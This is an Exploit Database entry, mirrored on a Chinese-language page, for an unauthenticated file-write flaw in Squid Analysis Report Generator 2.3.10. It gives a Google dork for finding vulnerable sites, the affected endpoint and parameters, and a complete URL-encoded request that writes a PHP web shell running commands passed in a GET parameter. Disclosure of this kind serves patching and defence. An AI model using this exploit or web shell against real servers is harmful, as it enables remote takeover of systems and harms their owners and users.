Squid Analysis Report Generator 2.3.10 – Remote Code Execution

• Exploit Database
• 15 阅读

• 作者： Pavel Suprunyuk
  日期： 2017-10-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42993/

• # Exploit Title: RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)
  # Google Dork: inurl:sarg-php
  # Date: 01 September 2017
  # Exploit Author: Pavel Suprunyuk
  # Vendor Homepage: https://sourceforge.net/projects/sarg/
  # Software Link: https://sourceforge.net/projects/sarg/
  # Version: Tested on 2.3.10, other versions are vulnerable too.
  # Tested on: PHP, any OS
  # CVE : None
  
  ===================================
  sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file:
  
  sarg-php/sarg-squidguard-block2.php?file=<your_shell_name.php>&url=<your_php_shell_content>
  
  Exploit example:
  
  the following request
  
  http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E
  
  will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file